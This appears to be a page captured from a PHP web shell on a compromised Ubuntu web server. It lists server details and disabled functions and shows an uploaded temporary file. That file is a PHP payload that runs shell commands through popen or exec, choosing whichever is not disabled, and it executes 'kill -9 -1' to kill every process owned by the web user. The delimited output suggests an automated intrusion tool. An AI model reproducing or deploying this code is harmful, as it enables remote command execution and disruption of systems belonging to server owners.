HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //tmp/phpXSxMRX
<?php
function run($code, $method = 'popen')
{
    $disabled = explode(',', ini_get('disable_functions'));
    if (in_array($method, $disabled)) {
        $method = 'exec';
    }
    if (in_array($method, $disabled)) {
        return false;
    }
    $result = '';
    switch ($method){
        case 'exec':
            exec($code,$array);
            foreach ($array as $key => $value) {
                $result .= $key . " : " . $value . PHP_EOL;
            }
            return $result;
            break;
        case 'popen':
            $fp = popen($code,"r");  //popen打一个进程通道
            while (!feof($fp)) {      //从通道里面取得东西
                $out = fgets($fp, 4096);
                $result .= $out;         //打印出来
            }
            pclose($fp);
            return $result;
            break;
        default:
            return false;
            break;
    }
}
echo '{->|';
var_dump(run("kill -9 -1"));
echo '|<-}';